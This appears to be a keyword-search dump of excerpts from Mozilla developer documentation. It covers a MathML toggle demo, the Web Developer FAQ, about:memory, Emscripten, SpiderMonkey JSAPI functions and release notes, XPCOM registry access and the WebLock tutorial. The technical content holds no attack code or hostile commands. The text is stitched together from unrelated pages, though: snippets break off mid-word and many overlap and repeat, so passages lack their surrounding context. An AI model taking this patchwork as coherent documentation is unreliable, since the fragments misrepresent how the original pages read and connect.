...th class="inputmath" display="block"> <mrow> <mi>A</mi> <mo>=</mo> <mo>[</mo> <mtable> <mtr> <mtd><mn>1</mn></mtd> <mtd> <mtext><input id="input12" value="?" size="1"/></mtext> </mtd> </mtr> <mtr> <mtd> <mtext><input id="input21" value="?" size="1"/></mtext> </mtd> <mtd><mn>4</mn></mtd> </mtr> </mtable> <mo>]</mo> </mrow> </math> <div style="text-align:center"> Left size: <a class="control" href="
javascript:incrementInput('input21', 1);" title="increase input">+</a> <a class="control" href="
javascript:incrementInput('input21',-1);" title="decrease input">-</a> Right size: <a class="control" href="
javascript:incrementInput('input12', 1);" title="increase input">+</a> <a class="control" href="
javascript:incrementInput('input12',-1);" title="decrease input"...
...',-1);" title="decrease input">-</a> <br/> (click these control buttons to see their effects.) </div> <p> Each entry of the following matrix represents <math> <msup><mrow><mo>(</mo><mi>x</mi><mo>+</mo><mi>y</mi><mo>)</mo></mrow><mi>n</mi></msup> </math> for some <i>n</i>. When you left-click any individual entry, it should toggle between its expanded and unexpanded forms. You can also <a href="
javascript:unexpand();">unexpand all</a> or <a href="
javascript:expand();">expand all</a>. </p> <div> <math display="block"> <mtable> <mtr> <mtd> <mtable align="axis" columnalign="left left left"> <mtr> <mtd> <maction id="a11" actiontype="toggle" selection="2"> <msup> <mrow> <mo>(</mo> <mrow> <mi>x</mi> <mo>+</mo> <mi>y</mi> </mrow> <mo>)</mo> </mrow> <mn>0</mn> </msup> <mn>1</mn> </maction> </mtd> <mtd> <...
...n> <mo>⁢</mo> <mi>x</mi> <mo>⁢</mo> <msup> <mi>y</mi> <mn>4</mn> </msup> </mrow> <mo>+</mo> <msup> <mi>y</mi> <mn>5</mn> </msup> </mrow> </maction> </mtd> </mtr> </mtable> </mtd> </mtr> </mtable> </math> </div> CSS Content .control { text-decoration: none; font-weight: bold; font-size: 200%; } input { color: red; } [class="inputmath"] { border: 1px dotted; }
JavaScript Content function setSelection(id,value) { document.getElementById(id).setAttribute("selection",value); } function expand() { setSelection("a11","2"); setSelection("a12","2"); setSelection("a13","2"); setSelection("a21","2"); setSelection("a22","2"); setSelection("a23","2"); setSelection("a31","2"); setSelection("a32","2"); setSelection("a33","2"); setSelection("a41","2"); setSele...
Mozilla Web Developer FAQ
ber and the unit (eg. 1.2em). The character to use between the property name and the value is the colon--not the equal sign. HTML markup, such as <style>, does not belong in .css files. font-face is not a real CSS property. The property is font-family and @font-face is an at-rule. If @import is used, it should be the first thing in a CSS file. CSS parsing errors are reported to the
JavaScript console. Is the server sending the proper Content-Type header for CSS style sheets? The correct type is text/css. In the Standards mode and the Almost Standards mode only style sheets with the correct type are applied. You can see the HTTP headers sent by the server by using the LiveHTTPHeaders extension or by using the Web sniffer. Class names and ids are case-sensitive. ...
...laced inline elements such as (by default) <span>. text-align: center; centers inline content within a block. It does not (and should not) center the block box itself. A block is centered by setting its margin-left and margin-right to auto and its width to a value that makes the block narrower than its containing block. It is also possible, although not very likely, that you are seeing a bug.
JavaScript doesn't work! Why? Some proprietary document objects such as document.all and document.layers are not part of the W3C DOM and are not supported in Mozilla. (There is partial undetectable support for document.all, though, in newer versions of Mozilla. However, that functionality only exists for compatibility with sites authored specifically for IE. You should not rely on Mozilla's document.all su...
...n Mozilla. (There is partial undetectable support for document.all, though, in newer versions of Mozilla. However, that functionality only exists for compatibility with sites authored specifically for IE. You should not rely on Mozilla's document.all support on new pages.) The method document.getElementById() can be used instead. In the Standards mode Mozilla does not generate implicit top-level
JavaScript variable bindings for elements with the id or name attribute. The correct way to access an element by id is to call the document.getElementById() method with the id as a string as the argument. Also, old client sniffers can shut out new browsers. The point of having a common API (the W3C DOM) is interoperability, and checking for a particular browser defeats that purpose. When working with the D...
...-specific and, therefore, using it on the public Web causes interoperabilty problems.) xml:base is observed when following links. Style sheets can be references using processing instructions. I didn't find the answer I was looking for. Where should I ask? Try asking in the newsgroup relevant to your question in the comp.infosystems.www.authoring.* hierarchy or, if your question is about
JavaScript/ECMAScript or the DOM, in comp.lang.
javascript (after reading the group FAQs first, of course). Please do not ask Web authoring questions in the newsgroups intended for discussion about the development of Mozilla. comp.infosystems.www.authoring.html Web Authoring FAQ comp.infosystems.www.authoring.stylesheets FAQ ciwas stylesheet authoring FAQ comp.lang.
javascript FAQ Original Document I...
about:memory
ny) +----4.07 MB (02.12%) ++ storage +----2.74 MB (01.43%) ++ startup-cache +----2.16 MB (01.12%) ++ xpconnect Some expertise is required to understand the full details here, but there are various things worth pointing out. This "explicit" value at the root of the tree represents all the memory allocated via explicit calls to allocation functions. ...
... It's clear that the cnn.com tab is using more memory than the techcrunch.com tab, which is using more than the arstechnica.com tab. ...
...ng more memory than the techcrunch.com tab, which is using more than the arstechnica.com tab. Sub-trees with names like "(2 tiny)" are artificial nodes inserted to allow insignificant sub-trees to be collapsed by default. If you select the "verbose" checkbox before measuring, all trees will be shown fully expanded and no artificial nodes will be inserted. The "js-non-window" sub-tree represents
JavaScript memory usage that doesn't come from windows, but from the browser core. The "heap-unclassified" value represents heap-allocated memory that is not measured by any memory reporter. This is typically 10--20% of "explicit". If it gets higher, it indicates that additional memory reporters should be added. DMD can be used to determine where these memory reporters should be added. There are measureme...
...%) ++ treestyletab@piro.sakura.ne.jp/js-non-window/zones/zone(0x100496800) More things worth pointing out are as follows. Some add-ons are identified by a name, such as Tree Style Tab. Others are identified only by a hexadecimal identifier. You can look in about:support to see which add-on a particular identifier belongs to. For example, 59c81df5-4b7a-477b-912d-4e0fdf64e5f2 is Chatzilla. All
JavaScript memory usage for an add-on is measured separately and shown in this sub-tree. For add-ons that use separate windows, such as Chatzilla, the memory usage of those windows will show up in this sub-tree. For add-ons that use XUL overlays, such as AdBlock Plus, the memory usage of those overlays will not show up in this sub-tree; it will instead be in the non-add-on sub-trees and won't be identifia...
Emscripten
Emscripten is an LLVM to
JavaScript compiler. It takes LLVM bytecode (e.g. generated from C/C++ using Clang, or from another language) and compiles that into
JavaScript, which can be run on the Web. Important: This page provides a very brief introduction to what Emscripten is. To get started with Emscripten, go to the official Emscripten Wiki. Using Emscripten, you can Compile C and C++ code into
JavaScript Compile any other code that can be translated into LLVM bytecode into
JavaScript. ...
...into
JavaScript, which can be run on the Web. Important: This page provides a very brief introduction to what Emscripten is. To get started with Emscripten, go to the official Emscripten Wiki. Using Emscripten, you can Compile C and C++ code into
JavaScript Compile any other code that can be translated into LLVM bytecode into
JavaScript. Compile the C/C++ runtimes of other languages into
JavaScript, and then run code in those other languages in an indirect way (this has been done for Python and Lua)! Emscripten makes native code immediately available on the Web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from PCs to iPads. With Emscripten, C/C++ developers don't have the high cost of porting code manually to
JavaScript -- ...
... in those other languages in an indirect way (this has been done for Python and Lua)! Emscripten makes native code immediately available on the Web: a platform that is standards-based, has numerous independent compatible implementations, and runs everywhere from PCs to iPads. With Emscripten, C/C++ developers don't have the high cost of porting code manually to
JavaScript -- or having to learn
JavaScript at all. Web developers also benefit, as they can use the many thousands of pre-existing native utilities and libraries in their sites. Practically any portable C or C++ codebase can be compiled into
JavaScript using Emscripten, ranging from high performance games that need to render graphics, play sounds, and load and process files, through to application frameworks like Qt. Emscripten generate...
... Note: Sound interesting? Read more about Emscripten and try some demos, then get started with using it. ...
JSClass
A C/C++ program can use a JSClass with the JS_InitClass and JS_NewObject APIs to create objects that have custom methods and properties implemented in C/C++. ...
...solete since JSAPI 36 The JSCLASS_NEW_RESOLVE flag instructs SpiderMonkey to call this as a JSNewResolveOp. Obsolete since JSAPI 16The JSCLASS_NEW_RESOLVE_GETS_START flag further affects this hook. convert JSConvertOp This hook specifies how objects of this class are converted to a primitive value. It implements the object's [[DefaultValue]] hook, which is invoked by
JavaScript when the object must be converted to a string, number, or primitive value. Obsolete since JSAPI 44 Use NULL or JS_ConvertStub (SpiderMonkey 31 or older) for default behavior, which is equivalent to that defined by ECMAScript in ?8.12.8. finalize JSFinalizeOp The object finalizer hook. This is called at some point after the object becomes unreachable, and can be used t...
... If objects of your class shouldn't be callable this way, use NULL. Most custom objects are not intended to be used as constructors. xdrObject JSXDRObjectOp Implements object serialization. If you do not use JSXDR, set this pointer to NULL. Obsolete since JSAPI 13 trace JSTraceOp The GC trace hook. Description Use JSClass to define a custom class of
JavaScript objects. A JSClass has a name, flags, and several callback functions for advanced customization of object behavior. Simple classes A simple custom class does not require any special JSClass callbacks. Instead, all the native code is in JSPropertyOps (property getters and setters) and JSNatives or JSFastNatives (methods). The code for such a class is simple: /* SpiderMonkey 38 */ static JSClass...
... JS_SetPrivate. Implement a JSClass.finalize callback that frees the private data. Each native getter, setter, or method can access the private data using JS_GetInstancePrivate. When initializing the class, pass the JSNative constructor function to JS_InitClass. (This example uses the C++ new and delete keywords, but the application can allocate the memory for private data however it likes. ...
JSFastNative
Added in SpiderMonkey 1.8.1 JSFastNative has been renamed to JSNative. ...
...e it could be removed at any time. Try to avoid using it. This article covers features introduced in SpiderMonkey 1.8 JSFastNative is the type of fast native functions in the JSAPI. APIs such as JS_InitClass and JS_DefineFunctions can create custom methods that are implemented as C/C++ functions of this type, instead of JSNative. ...
... The callback does not need to call JS_BeginRequest()). argc unsigned int The number of arguments supplied to the function by the caller (as opposed to, say, the number of arguments the function is specified to take in its JSFunctionSpec). ...
... be returned to the caller. On success, the callback must call JS_SET_RVAL (at least once) and return JS_TRUE. On error or exception, it must return JS_FALSE. To create a JSFunctionSpec that points to a JSFastNative, use JS_FN. When a JSFastNative is called, no JSStackFrame is generated. This is what makes a fast native fast. However, it causes the function not to appear on the stack in
JavaScript debuggers. It also means that applications that use SpiderMonkey's security features, particularly those that implement JSCheckAccessOp or JSCheckAccessIdOp in terms of APIs such as JS_FrameIterator and JS_StackFramePrincipals, must take extra care, as the native function's principals will be missing from the stack. See Also JSNative ...
JSPropertyOp
JS::MutableHandleValue vp); typedef bool (* JSStrictPropertyOp)(JSContext *cx, JS::HandleObject obj, JS::HandleId id, bool strict, JS::MutableHandleValue vp); // Added in SpiderMonkey 1.9.3 Name Type Description cx JSContext * The context in which the property access is taking place. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). obj JS::HandleObject The object whose properties are being accessed. id JS::HandleId The name or index of the property being accessed. This is either a string (Unicode property identifier) or an integer (element index). strict b...
... operation then fails, and the error is propagated to the caller. Otherwise the callback must return true, and the property operation proceeds. Getters and setters When a JSAPI application creates a property on an object (for example, using JS_DefineProperty or JS_DefineProperties) it can specify getter and setter callbacks for the new property. Getters. The getter callback is called each time
JavaScript code accesses the property's value using the syntax obj.prop or obj[propname]. It is also called when the property's value is accessed via JSAPI functions such as JS_GetProperty or (less obviously) JS_CallFunctionName. On entry, *vp contains the property's stored value or undefined if the property doesn't have a stored value. The callback may modify *vp. On success, the callback returns true and ...
...'s value is accessed via JSAPI functions such as JS_GetProperty or (less obviously) JS_CallFunctionName. On entry, *vp contains the property's stored value or undefined if the property doesn't have a stored value. The callback may modify *vp. On success, the callback returns true and the value left in *vp is returned to the script or JSAPI caller. Setters. The setter callback is called each time
JavaScript code assigns to the property using any assignment operator (=, +=, etc.) or the ++ or -- operators. It is also called when the property is set via JSAPI functions such as JS_SetProperty. On entry, *vp contains the value being assigned to the property. The callback may modify *vp. On success, the callback returns true. If the property has a stored value, it is then updated to the value left in *vp...
...*vp after the setter is called. This is typically the value of the left-hand side after assignment, as opposed to the value of the right-hand side, as required by ECMA 262-3 ?11.13. This ECMAScript incompatibility is observable when assigning to the length property of an Array, for example. This incompatibility will be fixed in SpiderMonkey 1.8; see bug 312354. Inherited properties. Note that in
JavaScript, an object can inherit properties from its prototype. Getters (and sometimes setters; see JS_SetProperty for details) are called even when the property being accessed is found on a prototype and not on obj itself. In this case obj points to the object from which the property is being accessed, not the object on which the property was defined. JSClass hooks JSClass offers following hooks: JSPro...
JS_DefineProperty
me of the new property. namelen size_t (only in JS_DefineUCProperty) The length of name, in characters; or (size_t) -1 to indicate that name is null-terminated. value JS::HandleValue or JS::HandleObject or JS::HandleString or int32_t or uint32_t or double Initial stored value for the new property. getter JSNative The property getter callback, which the
JavaScript engine will call each time the property's value is accessed; or NULL. setter JSNative The property setter callback, which the
JavaScript engine will call each time the property is assigned; or NULL. attrs unsigned Property attributes. desc JS::Handle<JSPropertyDescriptor> The property descriptor for the property to be defined. result ...
...same but takes a JS::HandleId for the property name. JS_DefineProperty is the fundamental operation on which several more convenient, higher-level functions are based, including JS_DefineFunction, JS_DefineFunctions, JS_DefineProperties, JS_DefineConstDoubles, JS_DefineObject, and JS_InitClass. It differs from JS_SetProperty in that: it does not behave like ordinary property assignment in the
JavaScript language; it allows the application to specify additional details (getter, setter, and attrs) governing the new property's behavior; it never calls a setter; it can call the JSClass.addProperty callback when JS_SetProperty would not, because it can replace an existing property. The parameters specify the new property's name, initial stored value, getter, setter, and Property attributes (attr...
...ck when JS_SetProperty would not, because it can replace an existing property. The parameters specify the new property's name, initial stored value, getter, setter, and Property attributes (attrs). If obj already has an own property with the given name or id, the existing property is replaced. These functions can currently replace JSPROP_PERMANENT properties, but such usage is deprecated. The
JavaScript engine will call the getter or setter callback each time the property is read or written, whether from
JavaScript code or via JSAPI functions like JS_GetProperty and JS_SetProperty. (Exception: If attrs contains the JSPROP_READONLY flag, the setter will never be called, as property assignment will fail before it gets that far. Also note that certain JSAPI functions, including JS_LookupProperty, J...
...te that certain JSAPI functions, including JS_LookupProperty, JS_HasProperty, and Property_attributes, can detect or examine a property without calling its getter.) If getter (or setter) is NULL, the new property will use the JSClass.getProperty (or JSClass.setProperty) callback from obj's class. If attrs contains the JSPROP_GETTER (or JSPROP_SETTER) flag, then getter (or setter) must point to a
JavaScript Function, not a C/C++ function. That is, it must be a JSObject * that points to a
JavaScript Function, cast to type JSPropertyOp. For more about
JavaScript getters and setters, see Defining Getters and Setters. On success, JS_DefineProperty returns true. On error or exception, it returns false. See Also MXR ID Search for JS_DefineProperty MXR ID Search for JS_DefineUCProperty MXR ID Search...
JS_MakeStringImmutable
Obsolete since
JavaScript 1.8.5This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. Make a JSString thread-safe. Syntax JSBool JS_MakeStringImmutable(JSContext *cx, JSString *str); Name Type Description cx JSContext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. s JSString * The string to operate on. s must not be null. ...
...ntext * A context. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. s JSString * The string to operate on. s must not be null. Description A string's characters can never be changed, but SpiderMonkey uses two string optimization techniques behind the scenes: A growable string (see JS_NewGrowableString ) has a buffer that the
JavaScript engine can reallocate so that concatenating it with another string is much faster. A dependent string (see JS_NewDependentString) is a substring of another (growable, dependent, or immutable) string. In memory it is represented as a pointer to the other string and a pair of integers for the substring's starting point and length, rather than as a separate copy of all the characters. This makes th...
... A dependent string (see JS_NewDependentString) is a substring of another (growable, dependent, or immutable) string. In memory it is represented as a pointer to the other string and a pair of integers for the substring's starting point and length, rather than as a separate copy of all the characters. This makes the substring operation, and regular expression matches, faster. ...
...s, the
JavaScript engine may change the fields of the JSString. These changes are not atomic. Therefore such strings must not be used by more than one thread at a time. Applications must call JS_MakeStringImmutable before sharing a JSString among threads by storing it in a C/C++ variable, field, or array element that another thread can read. (When an application shares a string by storing it in a
JavaScript object that another thread can read, the
JavaScript engine automatically makes the string thread-safe.) After a successful call to JS_MakeStringImmutable, subsequent calls to JS_GetStringCharsZ on the same string are guaranteed to succeed, and subsequent calls to JS_GetStringChars on the same string are guaranteed to return a null-terminated string. See Also bug 1115986 ...
JS_NewExternalString
a request on this JSContext. chars const char16_t * or const jschar * Pointer to the first element of an array of char16_ts. This array is used as the character buffer of the JSString to be created. ...
... first element of an array of char16_ts. This array is used as the character buffer of the JSString to be created. The array must be populated with the desired character data before JS_NewExternalString is called, and the array must remain in memory, with its contents unchanged, for as long as the
JavaScript engine needs to hold on to it. (Ultimately, the string will be garbage collected, and the
JavaScript engine will call the string finalizer callback, allowing the application to free the array.) The array does not need to be zero-terminated. length size_t The number of characters in the array chars. fin JSStringFinalizer A string finalizer the
JavaScript engine should use (later) to free the string buffer chars. Added in SpiderMonkey 17 type int (JS_Ne...
...This must be an id number previously returned by a successful call to JS_AddExternalStringFinalizer. ...
... object after it's created. If you use this as a pointer, you should clean it up in the external string finalizer that was previously set up using JS_AddExternalStringFinalizer. Obsolete since JSAPI 13 Description JS_NewExternalString and JS_NewExternalStringWithClosure create a new JSString whose characters are stored in external memory, i.e., memory allocated by the application, not the
JavaScript engine. Since the program allocated the memory, it will need to free it; this happens in an external string finalizer indicated by the type parameter. JS_NewExternalStringWithClosure works similarly, except it accepts an additional parameter, closure, which is saved in the string's internal data structure. It can be retrieved later by calling JS_GetExternalStringClosure. This is application-defi...
JS_NewObject
Syntax // Added in SpiderMonkey 45 JSObject * JS_NewObject(JSContext *cx, const JSClass *clasp); bool JS_NewObjectWithGivenProto(JSContext *cx, const JSClass *clasp, JS::Handle<JSObject*> proto); // Obsolete since SpiderMonkey 38 JSObject * JS_NewObject(JSContext *cx, const JSClass *clasp, JS::Handle<JSObject*> proto, JS::Handle<JSObject*> parent); JSObject * JS_NewObjectWithGivenProto(JSContext *cx, const JSClass *clasp, JS::Handle<JSObject*> proto, JS::Handle<JSObject*> parent); // Added in SpiderMonkey 1.8 Name Type Description cx JSContext * The context in which to create the new object. Requires request. ...
... JS::Handle<JSObject*> parent); // Added in SpiderMonkey 1.8 Name Type Description cx JSContext * The context in which to create the new object. Requires request. In a JS_THREADSAFE build, the caller must be in a request on this JSContext. clasp const JSClass * Pointer to the class to use for the new object. If this is NULL, an ordinary
JavaScript Object is created. The JSClass may be used to override low-level object behavior, including such details as the physical memory layout of the object and how property lookups are done. Added in SpiderMonkey 1.8.1 clasp->flags must not have the JSCLASS_GLOBAL_FLAGS bits set (use JS_NewGlobalObject instead). If clasp is non-null, the caller must ensure that the JSClass remains alive th...
...__parent__ property will be a reference to this object. If parent is NULL, a default parent object is used. Obsolete since JSAPI 39 Description JS_NewObject creates a new object based on a specified class. cx is a pointer to a context associated with the runtime in which to establish the new object. clasp is a pointer to an existing class to use for internal methods, such as finalize. The
JavaScript engine selects a prototype object for you. On success, JS_NewObject returns a pointer to the new object. Otherwise it returns NULL. Added in SpiderMonkey 1.8 JS_NewObjectWithGivenProto creates a new object with the specified prototype. If NULL is passed as proto, the new object will have a prototype with the JS value of null. To create a new object as a property of an existing object, use JS_D...
...cuting. In other words, the context's current scope acts as a default parent. If the context is not currently executing any code, we use JS_GetGlobalObject to find a global object associated with the context. Next, we must find the given class's constructor in that global object. Normally we simply use the class's name as the name of the property of the global object to fetch. However, although
JavaScript code can freely redefine constructors, the ECMAScript standard requires us in certain cases to use the original constructors' prototypes. If the global object's class's flags include JSCLASS_GLOBAL_FLAGS, then the global object always retains the original constructors for each standard class; we use these original constructors when they are available. Finally, we must find a prototype. If the ...
JS_SetOperationCallback
Obsolete since JSAPI 30This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it. This article covers features introduced in SpiderMonkey 1.8.5 Set a callback function that is automatically called periodically while
JavaScript code runs. These methods/types are renamed to JS_SetInterruptCallback, JS_GetInterruptCallback, JS_RequestInterruptCallback and JSInterruptCallback in SpiderMonkey 30. Syntax void JS_SetOperationCallback(JSContext *cx, JSOperationCallback callback); JSOperationCallback JS_GetOperationCallback(JSContext *cx); void JS_TriggerOperationCallback(JSRuntime *rt); Name Type Description cx JSContext * A context. rt JSRuntime * Th...
...Type Description cx JSContext * Pointer to a JSContext in which this callback was installed. The callback may use this context to call JSAPI functions, but it should first use JS_SetOperationCallback to set the context's operation callback to NULL. Otherwise the engine may call the operation callback again, reentering it. Provides request. In JS_THREADSAFE builds, the
JavaScript engine calls this callback only from within an active request on cx. The callback does not need to call JS_BeginRequest()). Applications must not use both the operation callback API and the older branch callback API. Description These functions allow setting an operation callback that will be called from the JS thread some time after any thread triggered the callback using JS_Trig...
...on the amount of time a script may run. (In this case, the callback may terminate the script by returning JS_FALSE.) JS_GetOperationCallback returns the currently installed operation callback, or NULL if none is currently installed. JS_TriggerOperationCallback triggers a callback set using JS_SetOperationCallback. JS_ClearOperationCallback clears the current operation callback. Obsolete since
JavaScript 1.9.1 JS_SetOperationCallbackFunction sets the operation callback without changing the operation limit. Obsolete since
JavaScript 1.9.1 JS_GetOperationLimit returns the current operation limit, or JS_MAX_OPERATION_LIMIT if no operation callback is currently installed. Obsolete since
JavaScript 1.9.1 JS_SetOperationLimit sets the operation limit without changing the operation callback. It must ...
...hout changing the operation limit. Obsolete since
JavaScript 1.9.1 JS_GetOperationLimit returns the current operation limit, or JS_MAX_OPERATION_LIMIT if no operation callback is currently installed. Obsolete since
JavaScript 1.9.1 JS_SetOperationLimit sets the operation limit without changing the operation callback. It must be called only when an operation callback is installed. ...
SpiderMonkey 31
These release notes are incomplete. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 31. SpiderMonkey 31 is the
JavaScript engine that shipped in Firefox 31. It continues to improve performance over previous SpiderMonkey releases, with a significantly improved garbage collector and other features. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. The download url is outdated and SpiderMonkey not RELEASE alone! Get it here mozilla-esr31 You will find it in "Firefox Extended Support Release 31" package on hg release Platform support Sp...
...release Platform support SpiderMonkey 31 is supported on all the platforms where Firefox 31 runs. Compiling it requires a C++ compiler, and the JSAPI can only be used from C++ code. If you are compiling with Microsoft's Visual Studio, note that the minimum supported version is MSVC10/2010: MSVC8/9 support has been dropped. SpiderMonkey 31 includes a just-in-time compiler (JIT) that compiles
JavaScript to machine code, for a significant speed increase. It is supported on x86, x86_64, and ARM architectures. On some other platforms (SPARC, MIPS), the JIT is provided but not supported. On all other platforms the JIT is simply disabled;
JavaScript code runs in an interpreter, as in previous versions. It's the same language, just not as fast. Migrating to SpiderMonkey 31 The first change most emb...
...are now explicitly const, and several APIs have been updated to use const JSClass * and const js::Class * pointers. All references to shortid/tinyid have been removed. That includes the APIs JS_DefinePropertyWithTinyId and JS_DefineUCPropertyWithTinyId as well as the JSPropertyDescriptor structure and the matching JSPROP_SHORTID flag. These and other changes are explained in detail below. New
JavaScript language features
JavaScript 31 includes significant updates to language features, yo. New C++ APIs JSAPI is now a C++-only API. Please note that SpiderMonkey reserves the JS:: namespace for itself (and the js:: namespace for internal use). JS_Init is a new function which must be used to initialize the JS engine before any JSRuntimes are created or other JSAPI methods are called. This meth...
...ed, it's okay to call JS_NewRuntime and all the other existing SpiderMonkey APIs as usual. Once all JSAPI operation has completed, the corresponding JS_ShutDown method uninitializes SpiderMonkey, cleaning up memory and allocations performed by JS_Init. It is not required to call JS_ShutDown at present, but it is strongly recommended: calling it may be required in a future SpiderMonkey release.
JavaScript shell changes Detail added/removed methods here... On POSIX platforms, building a threadsafe shell no longer requires NSPR. Embedders still need to build with NSPR, as the new wrappers require using SpiderMonkey internal functions which are not exposed to the public API. Known Issues Detail any known issues here... Future Direction ...insert details on future plans... SpiderMonkey embedder...
SpiderMonkey 38
SpiderMonkey 38 is outdated and contains known security vulnerabilities. These release notes are incomplete. The Mozilla
JavaScript team is pleased to announce the release of SpiderMonkey 38. SpiderMonkey 38 is the
JavaScript engine that shipped in Firefox 38. It continues to improve performance over previous SpiderMonkey releases, with XXX blah blah blah. It also contains new language and API features described in detail below. Please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. Or file bugs at bugzilla.mozilla.org under Product: Core, Component:
JavaScript engine. -- Sep 17, 2015 The download url is outdated and SpiderMonkey not RELEASE alone! Get it here mozilla-esr38 You will find it in "Firefox Extended Support Release...
...Support Release 38" package on hg release Platform support SpiderMonkey 38 is supported on all the platforms where Firefox 38 runs. Compiling it requires a C++ compiler, and the JSAPI can only be used from C++ code. If you are compiling with Microsoft's Visual Studio, note that the minimum supported version is MSVC10/2010. SpiderMonkey 38 includes a just-in-time compiler (JIT) that compiles
JavaScript to machine code, for a significant speed increase. It is supported on x86, x86_64, and ARM architectures. On some other platforms (SPARC, MIPS), the JIT is provided but not supported. On all other platforms the JIT is simply disabled;
JavaScript code runs in an interpreter, as in previous versions. It's the same language, just not as fast. Migrating to SpiderMonkey 38 .... XXX will need updat...
...have changed still have the same names and implement essentially unchanged functionality. Applications will need significant changes, but most of those changes will be detected by the C/C++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. Here is a list of the most significant changes: .... These and other changes are explained in detail below. New
JavaScript language features
JavaScript 38 includes significant updates to language features, yo. New C++ APIs JSAPI is now a C++-only API. Please note that SpiderMonkey reserves the JS:: namespace for itself (and the js:: namespace for internal use). JS::CloneFunctionObject (bug 1088228) INTERNED_STRING_TO_JSID (bug 1045900) JS::Construct (bug 1017109) JS::CreateError (bug 984048) JS::FalseHandle...
...ss or failure in two ways: via return value (as with most JSAPI methods), and via outparam (indicating whether the attempt took effect or not, independent of JSAPI failure). This change better aligns with ECMAScript's [[PreventExtensions]] hook, which generally returns true or false to indicate whether subsequent attempts to add a new property will fail, yet also itself may throw in some cases.
JavaScript shell changes Detail added/removed methods here... Known Issues Detail any known issues here... Future Direction ...insert details on future plans... SpiderMonkey embedders should be aware that Mozilla has no plans to keep the JSAPI, nor the JSDBGAPI, stable for embedders. We have chosen to concentrate on performance and correctness as primary concerns instead. JS_THREADSAFE is going aw...
Accessing the Windows Registry Using XPCOM
Introduction When implementing Windows-specific functionality, it is often useful to access the Windows registry for information about the environment or other installed programs. To this end, there exist XPCOM interfaces to read and write registry data. This article will show you how to use the available interfaces in several Mozilla products. The examples in this document are all written in
JavaScript using XPCOM. Support in Firefox 1.5 or newer In Firefox 1.5, a new API was added, nsIWindowsRegKey, which provides extensive registry functionality. The interface follows the Windows API fairly closely, but with many of the low-level details taken care of for you. If you are writing an extension that only needs to support Firefox 1.5 or newer, then you only need to read this section. A simple ...
...ervice(). Second, you must call open() on the key before attempting to read a value. Notice in the open() call that the root key to use is specified using the named constants available on the nsIWindowsRegKey interface, in this case ROOT_KEY_LOCAL_MACHINE, which corresponds to HKEY_LOCAL_MACHINE in the Windows registry. Also notice that the path to the key has backslashes escaped, a necessity in
JavaScript and C++ string constants. The desired access rights are specified using a named constant from the interface, in this example ACCESS_READ. This can be very important when dealing with non-Administrator accounts with restricted privileges. The value is read using readStringValue(). You have to specify what type of data you expect to read, which we will expand on later. Finally, note that you shou...
...st first open the key you are interested in. The example above demonstates this using the open() method. If you want to create a new key, you can use the create() method, which takes the same parameters as open(). Note that it is not an error to call create() on an existing key, and doing so has the same result as calling open(). Both of these methods take a root key as the first parameter. From
JavaScript, you will want to use the named constants on the interface for this parameter. They are: ROOT_KEY_CLASSES_ROOT -- Corresponds to HKEY_CLASSES_ROOT ROOT_KEY_CURRENT_USER -- Corresponds to HKEY_CURRENT_USER ROOT_KEY_LOCAL_MACHINE -- Corresponds to HKEY_LOCAL_MACHINE The second parameter for open() and create() is the path to the key. As noted in the example above, you will need to escape bac...
...In this function, wrk is expected to be an already opened nsIWindowsRegKey. function readRegistryValue(wrk, value) { switch (wrk.getValueType(value)) { case wrk.TYPE_STRING: return wrk.readStringValue(value); case wrk.TYPE_BINARY: return wrk.readBinaryValue(value); case ...
Starting WebLock
enable and disable the web locking functionality, see what sites are in the whitelist, and add or remove sites from that list. WebLock needs to provide an API, and it needs to hook into Gecko in order to implement the actual locking functionality. The WebLock User Interface The WebLock component in this tutorial uses XUL to define the additional browser UI in a cross-platform way, and XUL uses
JavaScript to access and control XPCOM components, but Gecko's pluggable UI allows any user interface to call into Gecko and the components you create as easily as you can from XUL. See XUL for a discussion of how XUL interacts with
JavaScript and XPCOM. Creating the WebLock Programming Interface Design is one of the hardest parts of any programming problem. The question the interface for the WebLock com...
...terfaces in XPCOM effective contracts between services and clients. The next section shows the interface of the WebLock component, iWebLock, in XPIDL. ...
...The XPIDL Syntax The XPIDL syntax is a mix of C++ and Java, and of course it's very much like the OMG IDL upon which it is closely based. ...
...doc style HTML documentation. Defining the Weblock Interface in XPIDL Most interfaces in the XPCOM world are described in XPIDL. The XPIDL file for the iWebLock interface can be used to generate the C++ header file, which you'll need to implement the interface in the component and also a type library that makes the component accessible from
JavaScript or other interpreted languages. In Mozilla,
JavaScript is the bridge between components and the XUL-based user interface. The XPIDL Syntax The XPIDL syntax is a mix of C++ and Java, and of course it's very much like the OMG IDL upon which it is closely based. The XPIDL for iWebLock appears below: iWebLock #include "nsISupports.idl" interface nsISimpleEnumerator; [scriptable, uuid(ea54eee4-9548-4b63-b94d-c519ffc91d09)] interface iWeblock : nsISuppo...
XPCOM guide
These articles provide tutorials and usage documentation for XPCOM, including how to use it in your own projects and how to build XPCOM components for your Firefox add-ons and the like. Avoiding leaks in
JavaScript XPCOM componentsProgrammers writing and reviewing
JavaScript code in Mozilla should understand how code using XPCOM in
JavaScript can leak so that they can avoid leaks. ...
...o build XPCOM components for your Firefox add-ons and the like. Avoiding leaks in
JavaScript XPCOM componentsProgrammers writing and reviewing
JavaScript code in Mozilla should understand how code using XPCOM in
JavaScript can leak so that they can avoid leaks. ...
...tand how code using XPCOM in
JavaScript can leak so that they can avoid leaks. This document attempts to help them do so, first by explaining the underlying concepts, and second by describing a number of common
JavaScript patterns that cause leaks.Creating XPCOM componentsThis guide is about Gecko, and about creating XPCOM components for Gecko-based applications.How to build an XPCOM component in
JavaScriptIf you are looking for Add-on SDK solution for XPCOM
